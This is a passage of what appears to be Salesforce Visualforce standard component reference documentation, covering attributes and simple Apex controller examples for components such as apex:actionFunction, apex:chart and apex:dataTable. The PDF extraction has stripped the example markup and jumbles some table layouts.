from SOQL calls in your Apex controllers. For example, using AND statements in your WHERE clause, or removing null results ◊ Taking advantage of pagination with a list controller to present fewer records per page • • “Lazy load” Apex objects to reduce request times Consider moving any JavaScript outside of the tag and placing it into a

Click Me /*** Controller ***/ public class exampleCon { String uname; public String getUsername() { return uname; } public PageReference sayHello() { uname = UserInfo.getName(); return null; } public void setState(String n) { state = n; } public String getState() { return state; } public PageReference methodOne() { return null; } private String state = 'no'; } Attributes Attribute Name Attribute Type Description Required? API Access Version action ApexPages.Action The action method invoked when the actionFunction is called by a DOM event elsewhere in the page markup. Use merge-field syntax to reference the method. For example, action="{!save}" references the save method in the controller. If an action is not specified, the page simply refreshes. 12.0 global focus String The ID of the component that is in focus after the AJAX request completes. 12.0 global id String An identifier that allows the actionFunction component to be referenced by other components in the page. 12.0 global immediate Boolean A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false. 12.0 global name String The name of the JavaScript function that, when invoked Yes elsewhere in the page markup, causes the method 12.0 global 265 Standard Component Reference Attribute Name Attribute Type apex:actionPoller Description Required? API Access Version specified by the action attribute to execute. When the action method completes, the components specified by the reRender attribute are refreshed. onbeforedomupdate String The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated. 12.0 global oncomplete String The JavaScript invoked when the result of an AJAX update request completes on the client. 12.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 12.0 global reRender Object The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. 12.0 global status String The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. 12.0 global timeout Integer The amount of time (in milliseconds) before an AJAX update request should time out. 12.0 global apex:actionPoller A timer that sends an AJAX update request to the server according to a time interval that you specify. The update request can then result in a full or partial page update. You should avoid using this component with enhanced lists. Note that if an is ever re-rendered as the result of another action, it resets itself. An must be within the region it acts upon. For example, to use an with an , the must be within the . Note: refreshes the connection regularly, keeping login sessions alive. A page with on it won't time out due to inactivity. Example 266 Standard Component Reference /*** apex:actionPoller Controller: ***/ public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; } public Integer getCount() { return count; } } Attributes Attribute Name Attribute Type Description Required? API Access Version action ApexPages.Action The action method invoked by the periodic AJAX update request from the component. Use merge-field syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specified, the page simply refreshes. 10.0 global enabled Boolean A Boolean value that specifies whether the poller is active. If not specified, this value defaults to true. 10.0 global id String An identifier that allows the component to be referenced by other components in the page. 10.0 global interval Integer The time interval between AJAX update requests, in seconds. This value must be 5 seconds or greater, and if not specified, defaults to 60 seconds. Note that the interval is only the amount of time between update requests. Once an update request is sent to the server, it enters a queue and can take additional time to process and display on the client. 10.0 global oncomplete String The JavaScript invoked when the result of an AJAX update request completes on the client. 10.0 global onsubmit String The JavaScript invoked before an AJAX update request has been sent to the server. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global reRender Object The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. 10.0 global 267 Standard Component Reference Attribute Name Attribute Type apex:actionRegion Description Required? API Access Version status String The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. 10.0 global timeout Integer The amount of time (in milliseconds) before an AJAX update request should time out. 10.0 global apex:actionRegion An area of a Visualforce page that demarcates which components should be processed by the Force.com server when an AJAX request is generated. Only the components in the body of the are processed by the server, thereby increasing the performance of the page. Note that an component only defines which components the server processes during a request—it does not define what area(s) of the page are re-rendered when the request completes. To control that behavior, use the rerender attribute on an , , , , , or component. See also: Using the transient keyword 268 Standard Component Reference apex:actionStatus {!text(now())} Attributes Attribute Name Attribute Type Description Required? API Access Version id String An identifier that allows the component to be referenced by other components in the page. 10.0 global immediate Boolean A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false. 11.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global A Boolean value that specifies whether AJAX-invoked behavior outside of the actionRegion should be disabled when the actionRegion is processed. If set to true, no component outside the actionRegion is included in the AJAX response. If set to false, all components in the page are included in the response. If not specified, this value defaults to true. 10.0 global renderRegionOnly Boolean apex:actionStatus A component that displays the status of an AJAX update request. An AJAX request can either be in progress or complete. Example /*** Controller: ***/ 269 Standard Component Reference apex:actionStatus public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; } public Integer getCount() { return count; } } Attributes Attribute Name Attribute Type Description Required? API Access Version dir String The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). 10.0 global for String The ID of an actionRegion component for which the status indicator is displaying status. 10.0 global id String An identifier that allows the actionStatus component to be referenced by other components in the page. 10.0 global lang String The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications. 10.0 global layout String The manner with which the actionStatus component should be displayed on the page. Possible values include "block", which embeds the component in a div HTML element, or "inline", which embeds the component in a span HTML element. If not specified, this value defaults to "inline". 10.0 global onclick String The JavaScript invoked if the onclick event occurs--that is, if the component is clicked. 10.0 global ondblclick String The JavaScript invoked if the ondblclick event occurs--that is, if the component is clicked twice. 10.0 global onkeydown String The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. 10.0 global onkeypress String The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. 10.0 global onkeyup String The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. 10.0 global onmousedown String The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. 10.0 global 270 Standard Component Reference Attribute Name Attribute Type apex:actionStatus Description Required? API Access Version onmousemove String The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. 10.0 global onmouseout String The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the component. 10.0 global onmouseover String The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the component. 10.0 global onmouseup String The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. 10.0 global onstart String The JavaScript invoked at the start of the AJAX request. 10.0 global onstop String The JavaScript invoked upon completion of the AJAX request. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global startStyle String The style used to display the status element at the start of an AJAX request, used primarily for adding inline CSS styles. 10.0 global startStyleClass String The style class used to display the status element at the start of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global startText String The status text displayed at the start of an AJAX request. 10.0 global stopStyle String The style used to display the status element when an AJAX request completes, used primarily for adding inline CSS styles. 10.0 global stopStyleClass String The style class used to display the status element when an AJAX request completes, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global stopText String The status text displayed when an AJAX request completes. 10.0 global style String The style used to display the status element, regardless of the state of an AJAX request, used primarily for adding inline CSS styles. 10.0 global styleClass String The style class used to display the status element, regardless of the state of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global 271 Standard Component Reference apex:actionSupport Facets Facet Name Description API Version start The components that display when an AJAX request begins. Use this facet as an 10.0 alternative to the startText attribute. Note that the order in which a start facet appears in the body of an actionStatus component does not matter, because any facet with the attribute name="start" controls the appearance of the actionStatus component when the request begins. stop The components that display when an AJAX request completes. Use this facet as 10.0 an alternative to the stopText attribute. Note that the order in which a stop facet appears in the body of an actionStatus component does not matter, because any facet with the attribute name="stop" controls the appearance of the actionStatus component when the request completes. apex:actionSupport A component that adds AJAX support to another component, allowing the component to be refreshed asynchronously by the server when a particular event occurs, such as a button click or mouseover. See also: . Example /*** Controller: ***/ public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; } public Integer getCount() { return count; } } 272 Standard Component Reference apex:actionSupport Attributes Attribute Name Attribute Type Description Required? API Access Version action ApexPages.Action The action method invoked by the AJAX request to the server. Use merge-field syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specified, the page simply refreshes. 10.0 global disabled Boolean A Boolean value that allows you to disable the component. When set to "true", the action is not invoked when the event is fired. 16.0 disableDefault Boolean A Boolean value that specifies whether the default browser processing should be skipped for the associated event. If set to true, this processing is skipped. If not specified, this value defaults to true. 10.0 global event String The DOM event that generates the AJAX request. Possible values include "onblur", "onchange", "onclick", "ondblclick", "onfocus", "onkeydown", "onkeypress", "onkeyup", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onselect", and so on. 10.0 global focus String The ID of the component that is in focus after the AJAX request completes. 10.0 global id String An identifier that allows the component to be referenced by other components in the page. 10.0 global immediate Boolean A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false. 11.0 global The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated. 11.0 global onbeforedomupdate String oncomplete String The JavaScript invoked when the result of an AJAX update request completes on the client. 10.0 global onsubmit String The JavaScript invoked before an AJAX update request has been sent to the server. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global reRender Object The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated 10.0 global 273 Standard Component Reference Attribute Name Attribute Type apex:areaSeries Description Required? API Access Version list of IDs, or a merge field expression for a list or collection of IDs. status String The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. 10.0 global timeout Integer The amount of time (in milliseconds) before an AJAX update request should time out. 10.0 global apex:areaSeries A data series to be rendered as shaded areas in a Visualforce chart. It's similar to a line series with the fill attribute set to true, except that multiple Y values for each X will "stack" as levels upon each other. At a minimum you must specify the fields in the data collection to use as X and Y values for each point along the line that defines the amount of area each point represents, as well as the X and Y axes to scale against. Add multiple Y values to add levels to the chart. Each level takes a new color. Note: This component must be enclosed within an component. You can have multiple components in a single chart, and you can add , , and components, but the results might not be very readable. An area chart with three Y values to plot as levels on the chart. Attributes Attribute Name Attribute Type axis String Description Which axis this chart series should bind to. Must be one of the four edges of the chart: • • Required? API Access Version Yes 26.0 left right 274 Standard Component Reference Attribute Name Attribute Type apex:areaSeries Description • • Required? API Access Version top bottom The axis bound to must be defined by a sibling component. colorSet String A set of color values used, in order, as level area fill colors. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example, #00F,#0F0,#F00. 26.0 highlight Boolean A Boolean value that specifies whether each level should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true. 23.0 highlightLineWidth Integer An integer that specifies the width in pixels of the line that surrounds a level when it's highlighted. 26.0 highlightOpacity String A decimal number between 0 and 1 representing the opacity of the color overlayed on a level when it's highlighted. 26.0 highlightStrokeColor String A string that specifies the HTML-style color of the line that surrounds a level when it's highlighted. 26.0 id String An identifier that allows the chart component to be referenced by other components on the page. 26.0 opacity String A decimal number between 0 and 1 representing the opacity of the filled area for this level of the series. 26.0 rendered Boolean A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true. 26.0 rendererFn String A string that specifies the name of a JavaScript function that augments or overrides how each data point is rendered. Implement to provide additional styling or to augment data. 26.0 showInLegend Boolean A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true. 26.0 tips Boolean A Boolean value that specifies whether to display a tooltip for each data point marker when the mouse pointer passes over it. The format of the tip is xField: yField. If not specified, this value defaults to true. 26.0 title String The title of this chart series, which is displayed in the chart legend. 26.0 global For stacked charts with multiple data series in the yField, separate each series title with a comma. For example: title="MacDonald,Picard,Worle". 275 Standard Component Reference Attribute Name Attribute Type apex:attribute Description Required? API Access Version xField String The field in each record provided in the chart data from Yes which to retrieve the x-axis value for each data point in the series. This field must exist in every record in the chart data. 26.0 yField String The field in each record provided in the chart data from Yes which to retrieve the y-axis value for each data point in the series. This field must exist in every record in the chart data. 26.0 apex:attribute A definition of an attribute on a custom component. The attribute tag can only be a child of a component tag. Note that you cannot define attributes with names like id or rendered. These attributes are automatically created for all custom component definitions. Example

Attributes Attribute Name Attribute Type access String Description Indicates whether the attribute can be used outside of any page in the same namespace as the attribute. Possible values are "public" (default) and "global". Use global to indicate the attribute can be used outside of the attribute's namespace. If the access attribute on the parent apex:component is set to global, it must also be set to global on this component. If the access attribute on the Required? API Access Version 14.0 276 Standard Component Reference Attribute Name Attribute Type apex:attribute Description Required? API Access Version parent apex:component is set to public, it cannot be set to global on this component. NOTE: Attributes with this designation are subject to the deprecation policies as described for managed packages in the appexchange. assignTo Object A setter method that assigns the value of this attribute to a class variable in the associated custom component controller. If this attribute is used, getter and setter methods, or a property with get and set values, must be defined. 12.0 global default String The default value for the attribute. 13.0 global description String A text description of the attribute. This description is included in the component reference as soon as the custom component is saved. 12.0 global encode Boolean This is a temporary option to address an issue affecting some package installations. It will be removed in the next release. Do not use unless advised to do so by Salesforce. 15.0 id String An identifier that allows the attribute to be referenced by other tags in the custom component definition. 12.0 global name String The name of the attribute as it is used in Visualforce Yes markup when the associated custom component includes a value for the attribute. The name must be unique from all other attributes in the component definition. Note that you cannot define attributes named id, rendered, or action. These attributes are either automatically created for all custom component definitions, or otherwise not usable. 12.0 global required Boolean A Boolean value that specifies whether a value for the attribute must be provided when the associated custom component is included in a Visualforce page. If set to true, a value is required. If not specified, this value defaults to false. 12.0 global type String 12.0 global The Apex data type of the attribute. If using the assignTo attribute to assign the value of this attribute to a controller class variable, the value for type must match the data type of the class variable. Only the following data types are allowed as values for the type attribute: • • • • • Yes Primitives, such as String, Integer, or Boolean. sObjects, such as Account, My_Custom_Object__c, or the generic sObject type. One-dimensional lists, specified using array-notation, such as String[], or Contact[]. Maps, specified using type="map". You don't need to specify the map's specific data type. Custom Apex types (classes). 277 Standard Component Reference apex:axis apex:axis Defines an axis for a chart. Use this to set the units, scale, labeling, and other visual options for the axis. You can define up to four axes for a single chart, one for each edge. Note: This component must be enclosed within an component. Example Attributes Attribute Name Attribute Type Description Required? API Access Version dashSize Integer The size of the dash marker, in pixels. If not specified, this value defaults to 3. 23.0 fields String The field(s) in each record of the chart data from which to retrieve axis label values. You can specify more than one field, to increase the range of the axis scale to include all values. Fields must exist in every record in the chart data. 23.0 grid Boolean A Boolean value specifying whether to draw gridlines in the background of the chart. If true for a vertical axis, vertical lines are drawn, and likewise for horizontal axis. A proper grid can be drawn by setting grid to true on both a horizontal and a vertical axis of a chart. If not specified, this value defaults to false. 23.0 gridFill Boolean A Boolean value specifying whether to fill in alternating grid intervals with a background color. If not specified, this value defaults to false. 23.0 id String An identifier that enables the chart component to be referenced by other components on the page. 23.0 maximum Integer The maximum value for the axis. If not set, the maximum is calculated automatically from the values in fields. 23.0 minimum Integer The minimum value for the axis. If not set, the minimum is calculated automatically from the values in fields. 23.0 global 278 Standard Component Reference Attribute Name Attribute Type position String apex:barSeries Description The edge of the chart to which to bind the axis. Valid options are: • • • • • • Required? API Access Version Yes 23.0 left right top bottom gauge radial The first four positions correspond to the edges of a standard linear chart. "gauge" is specific to an axis used by , and "radial" is specific to an axis used by . rendered Boolean A Boolean value that specifies whether the axis elements are rendered with the chart. If not specified, this value defaults to true. 23.0 steps Integer An integer value that specifies the number of tick marks to places on the axis. If set, it overrides the automatic calculation of tick marks for the axis. Valid only when the axis type is Numeric. 26.0 title String The label for the axis. 23.0 type String Specifies the type of the axis, which is used to calculate axis intervals and spacing. Valid options are: • • • • Yes 23.0 "Category" for non-numeric information, such as names or types of items, and so on. "Numeric" for quantitative values. "Gauge" is used only with, and required by, . "Radial" is used only with, and required by, . apex:barSeries A data series to be rendered as bars in a Visualforce chart. At a minimum you must specify the fields in the data collection to use as X and Y values for each bar, as well as the X and Y axes to scale against. Add multiple Y values to add grouped or stacked bar segments to the chart. Each segment takes a new color. Note: This component must be enclosed within an component. You can have multiple and components in a single chart. You can also add and components, but the results might not be very readable. 279 Standard Component Reference apex:barSeries Example Attributes Attribute Name Attribute Type axis String Description Which axis this chart series should bind to. Must be one of the four edges of the chart: • • • • Required? API Access Version Yes 23.0 left right top bottom The axis bound to must be defined by a sibling component. colorSet String colorsProgressWithinSeries Boolean A set of color values used, in order, as bar fill colors. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example, #00F,#0F0,#F00. A Boolean value that specifies how to progress through the values of the colorSet attribute. • • groupGutter Integer 26.0 26.0 When set to true, the first color in the colorSet is used for the first bar (or bar segment, when the is stacked) in an , the second color for the second bar, and so on. Colors restart at the beginning for each . When set to false, the default, the first color in the colorSet is used for all bars in the first , the second color is used for bars in the second , and so on. An integer specifying the spacing between groups of bars, as a percentage of the bar width. 26.0 280 Standard Component Reference Attribute Name Attribute Type apex:barSeries Description Required? API Access Version gutter Integer An integer specifying the spacing between individual bars, as a percentage of the bar width. 26.0 highlight Boolean A Boolean value that specifies whether each bar should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true. 23.0 highlightColor String A string that specifies the HTML-style color overlayed on a bar when it's highlighted. 26.0 highlightLineWidth Integer An integer that specifies the width in pixels of the line that surrounds a bar when it's highlighted. 26.0 highlightOpacity String A decimal number between 0 and 1 representing the opacity of the color overlayed on a bar when it's highlighted. 26.0 highlightStroke String A string that specifies the HTML-style color of the line that surrounds a bar when it's highlighted. 26.0 An identifier that allows the chart component to be referenced by other components on the page. 23.0 id String orientation String The direction of the bars in the chart. Valid options are: • • Yes global 23.0 horizontal vertical If not specified, this value defaults to "vertical". rendered Boolean A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true. 23.0 rendererFn String A string that specifies the name of a JavaScript function that augments or overrides how each bar is rendered. Implement to provide additional styling or to augment data. 26.0 showInLegend Boolean A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true. 23.0 stacked Boolean A Boolean value that specifies whether to group or stack bar values. 26.0 tips Boolean A Boolean value that specifies whether to display a tool tip for each bar when the mouse pointer passes over it. The format of the tip is : . If not specified, this value defaults to true. 23.0 281 Standard Component Reference Attribute Name Attribute Type title String apex:canvasApp Description Required? API Access Version The title of this chart series, which is displayed in the chart legend. 23.0 For stacked charts with multiple data series in the yField, separate each series title with a comma. For example: title="MacDonald,Picard,Worle". xField String The field in each record provided in the chart data from Yes which to retrieve the x-axis value for each data point in the series. This field must exist in every record in the chart data. 23.0 xPadding Integer An integer specifying the padding in pixels between the left and right axes and the chart's bars. 26.0 yField String The field in each record provided in the chart data from Yes which to retrieve the y-axis value for each data point in the series. This field must exist in every record in the chart data. 23.0 yPadding Integer An integer specifying the padding in pixels between the top and bottom axes and the chart's bars. 26.0 apex:canvasApp Renders a canvas app identified by the given (developerName or applicationName) and namespacePrefix value pair. The developerName attribute takes precedence if both developerName and applicationName are set. Requirements: • • PlatformConnectUI, ConnectedApps and ForceApplications permissions should be enabled. An organization's host URL should be registered as a Remote Site. For example, if an Org lives on na6, URL is https://na6.salesforce.com . Note: • • • • • • A dev org is an org in which canvas app is developed and packaged. An install org is an org in which packaged canvas app is installed. Multiple canvasApp components on a page is NOT SUPPORTED. Using canvasApp component within a repeat component is NOT SUPPORTED. The apex:canvasApp tag's applicationName and developerName are NOT updated if canvas app's application name or developer name is changed. The canvas app can be deleted even if there is a Visualforce page referencing it. 282 Standard Component Reference apex:canvasApp Rendering canvas app by developer name only. If a namespace prefix is not created in your Dev Org then namespace prefix attribute should not be used. Note: The canvas app is rendered within a div element, the div element id can be retrieved by {!$Component.genContainer}. Rendering canvas app by application name. If a namespace prefix is not created in your Dev Org then namespace prefix attribute should not be used. Rendering canvas app by developer name and namespace prefix. The namespace prefix is from the canvas app developer's Org. Rendering canvas app by application name and namespace prefix. The namespace prefix is from the canvas app developer's Org. Rendering canvas app in a different output panel. 283 Standard Component Reference apex:chart Attributes Attribute Name Attribute Type Description Required? API Access Version applicationName String Canvas app Name 27.0 border String Canvas window border 27.0 containerId String An html element id in which canvas app is rendered. 27.0 Canvas app developer Name 27.0 developerName String height String Canvas window height 27.0 id String An identifier that allows the component to be referenced by other components in the page. 27.0 namespacePrefix String The value should be the namespace prefix value created in a dev org. This attribute is optional if namespace prefix was not created in a dev org. 27.0 parameters String The object representation of parameters passed to the canvas application. This should be supplied in JSON format or as a JS Object literal. Example JS Object literal: {param1:'value1',param2:'value2'}. 27.0 rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 27.0 scrolling String Canvas window scrolling 27.0 width String Canvas window width 27.0 global global apex:chart A Visualforce chart. Defines general characteristics of the chart, including size and data binding. Example Attributes Attribute Name Attribute Type animate Boolean Description A Boolean value that specifies whether to animate the chart when it is first rendered. If not specified, this value defaults to true. Required? API Access Version 23.0 284 Standard Component Reference Attribute Name Attribute Type apex:chart Description Required? API Access Version background String A string that specifies the color to use for the background of the chart, as an HTML-style (hexadecimal) color. If not specified, charts use a plain white background. 26.0 colorSet String A set of colors to be used by each child series. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example, #00F,#0F0,#F00. These colors override the default colors used by Visualforce charts. These colors can in turn be overridden by colorSets provided to individual data series. 26.0 data Object Specifies the data binding for the chart. This can be a Yes controller method reference in an expression, a JavaScript function, or a JavaScript object. In all cases, the result must be an array of records, and every record must contain all fields referenced in child data series components. 23.0 floating Boolean A Boolean value that specifies whether to float the chart outside the regular HTML document flow using CSS absolute positioning. 23.0 height String The height of the chart rectangle, in pixels when given Yes as an integer, or as a percentage of the height of the containing HTML element, when given as a number followed by a percent sign. Use pixels for consistent behavior across browsers and data sets. Use a percentage when dealing with varying data sets that can produce very tall and short charts. It's most useful for horizontal bar charts with many bars. 23.0 Note: It's a known issue that percentage heights don't work in Firefox. hidden Boolean A Boolean value that specifies whether to show or hide the chart initially. Set to true to render the chart but hide it when the page is first displayed. 23.0 id String An identifier that allows the chart component to be referenced by other components on the page. 23.0 legend Boolean A Boolean value that specifies whether to display the default chart legend. Add an component to the chart for more options. If not specified, this value defaults to true. 23.0 name String Name of generated JavaScript object used to provide additional configuration, or perform dynamic operations. Name must be unique across all chart components. If the encompassing top-level component ( or ) is namespaced, the chart name will be prefixed with the namespace, for example, MyNamespace.MyChart. 23.0 global 285 Standard Component Reference Attribute Name Attribute Type apex:chartLabel Description Required? API Access Version rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 23.0 renderTo String A string to specify the ID of the DOM element to render the chart into. 23.0 resizable Boolean A Boolean value that specifies whether or not the chart is resizable after rendering. 23.0 theme String A string specifying the name of the chart theme to use. Themes provide pre-defined sets of colors. Available themes are: • • • • • • • • • • • • • 26.0 Salesforce Blue Green Red Purple Yellow Sky Category1 Category2 Category3 Category4 Category5 Category6 The default, "Salesforce", provides colors which match charts in Salesforce reports and analytics. Use colorSet to define your own colors for charting components. width String The width of the chart rectangle, in pixels when given as Yes an integer, or as a percentage of the width of the containing HTML element, when given as a number followed by a percent sign. Use pixels for consistent behavior across browsers and data sets. Use a percentage when you want the chart to stretch with the width of the browser window. 23.0 apex:chartLabel Defines how labels are displayed. Depending on what component wraps it, gives you options for affecting the display of data series labels, pie chart segment labels, and axes labels. Note: This component must be enclosed by a data series component or an component. 286 Standard Component Reference apex:chartLabel Example Attributes Attribute Name Attribute Type color String display String Description The color of the label text specified as an HTML-style (hexadecimal) color. If not specified, this value defaults to "#000" (black). Specifies the position of labels, or disables the display of labels. Valid options are: • • • • • • • • Required? API Access Version 23.0 23.0 rotate middle insideStart insideEnd outside over under none (to hide labels) If not specified, this value defaults to "none". field String The field in each record provided in the chart data from which to retrieve the label for each data point in the series. This field must exist in every record in the chart data. If not specified, this value defaults to "name". 23.0 font String The font to use for the label text, as a CSS-style font definition. If not specified, this value defaults to "11px Helvetica, sans-serif". 23.0 id String An identifier that allows the chart component to be referenced by other components on the page. 23.0 minMargin Integer Specifies the minimum distance from a label to the origin of the visualization, in pixels. If not specified, this value defaults to 50. 23.0 orientation String Display the label text characters normally, or stacked vertically. Valid options are: • global 23.0 horizontal 287 Standard Component Reference Attribute Name Attribute Type apex:chartTips Description • Required? API Access Version vertical If not specified, this value defaults to "horizontal" for normal left-to-right text. rendered Boolean A Boolean value that specifies whether the chart label is rendered with the chart. If not specified, this value defaults to true. 23.0 rendererFn String A string that specifies the name of a JavaScript function that augments or overrides label rendering for axis or series labels. 26.0 rotate Integer Degrees to rotate the label text. If not specified, this value defaults to 0. 23.0 apex:chartTips Defines tooltips which appear on mouseover of data series elements. This component offers more configuration options than the default tooltips displayed by setting the tips attribute of a data series component to true. Note: This component must be enclosed by a data series component. Example Attributes Attribute Name Attribute Type Description Required? API Access Version height Integer The height of the tooltip, in pixels. 23.0 id String An identifier that allows the chart component to be referenced by other components on the page. 23.0 labelField String The field in each record of the chart data to use as the label for the tooltip for each data point in the series. Tooltips will be displayed as (page) This is the header of mypage (page) This is the body of mypage The example above renders the following HTML: (template) This is (page) This is the (template) This is (page) This is the before the header
header of mypage
between the header and body
body of mypage Attributes Attribute Name Attribute Type Description Required? API Access Version rendered String template ApexPages.PageReference The template page used for this component. For this Yes value, specify the name of the Visualforce page or use merge-field syntax to reference a page or PageReference. This attribute has no effect on the display of this component. If you wish to conditionally display a wrap it inside a component, and add the conditional expression to its rendered attribute. 10.0 global 10.0 global apex:dataList An ordered or unordered list of values that is defined by iterating over a set of data. The body of the component specifies how a single item should appear in the list. The data set can include up to 1,000 items. Example /*** Controller: ***/ public class dataListCon { List accounts; 305 Standard Component Reference apex:dataList public List getAccounts() { if(accounts == null) accounts = [SELECT Name FROM Account LIMIT 10]; return accounts; } } The example above renders the following HTML:
  • Bass Manufacturing
  • Ball Corp
  • Wessler Co.
Attributes Attribute Name Attribute Type Description Required? API Access Version dir String The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). 10.0 global first Integer The first element in the iteration that is visibly rendered in the list, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2". 10.0 global id String An identifier that allows the dataList component to be referenced by other components in the page. 10.0 global lang String The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications. 10.0 global onclick String The JavaScript invoked if the onclick event occurs--that is, if the user clicks the list. 10.0 global ondblclick String The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the list twice. 10.0 global onkeydown String The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. 10.0 global onkeypress String The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. 10.0 global onkeyup String The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. 10.0 global onmousedown String The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. 10.0 global onmousemove String The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. 10.0 global 306 Standard Component Reference Attribute Name Attribute Type apex:dataTable Description Required? API Access Version onmouseout String The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the list. 10.0 global onmouseover String The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the list. 10.0 global onmouseup String The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global rows Integer The maximum number of items to display in the list. If not specified, this value defaults to 0, which displays all possible list items. 10.0 global style String The style used to display the dataList component, used primarily for adding inline CSS styles. 10.0 global styleClass String The style class used to display the dataList component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global type String The type of list that should display. For ordered lists, possible values include "1", "a", "A", "i", or "I". For unordered lists, possible values include "disc", "square", and "circle". If not specified, this value defaults to "disc". 10.0 global value Object The collection of data displayed in the list. Yes 10.0 global var String The name of the variable that should represent one Yes element in the collection of data specified by the value attribute. You can use this variable to display the element in the body of the dataList component tag. 10.0 global apex:dataTable An HTML table that is defined by iterating over a set of data, displaying information about one item of data per row. The body of the contains one or more column components that specify what information should be displayed for each item of data. The data set can include up to 1,000 items. See also: table caption table header table footer Name column footer Owner column footer /*** Controller: ***/ public class dataTableCon { List accounts; public List getAccounts() { if(accounts == null) accounts = [select name, owner.name from account limit 10]; return accounts; 308 Standard Component Reference apex:dataTable } } The example above renders the following HTML: 309 Standard Component Reference apex:dataTable
table caption
table header
Name Owner
column footer column footer
table footer
Bass Manufacturing Doug Chapman
Ball Corp Alan Ball
Wessler Co. Jill Wessler
Attributes Attribute Name Attribute Type Description Required? API Access Version align String The position of the rendered HTML table with respect to the page. Possible values include "left", "center", or "right". If left unspecified, this value defaults to "left". 10.0 global bgcolor String The background color of the rendered HTML table. 10.0 global border String The width of the frame around the rendered HTML table, in pixels. 10.0 global captionClass String The style class used to display the caption for the rendered HTML table, if a caption facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global captionStyle String The style used to display the caption for the rendered HTML table, if a caption facet is specified. This attribute is used primarily for adding inline CSS styles. 10.0 global cellpadding String The amount of space between the border of each table cell and its contents. If the value of this attribute is a pixel length, all four margins are this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space. 10.0 global cellspacing String The amount of space between the border of each table cell and the border of the other cells surrounding it and/or the table's edge. This value must be 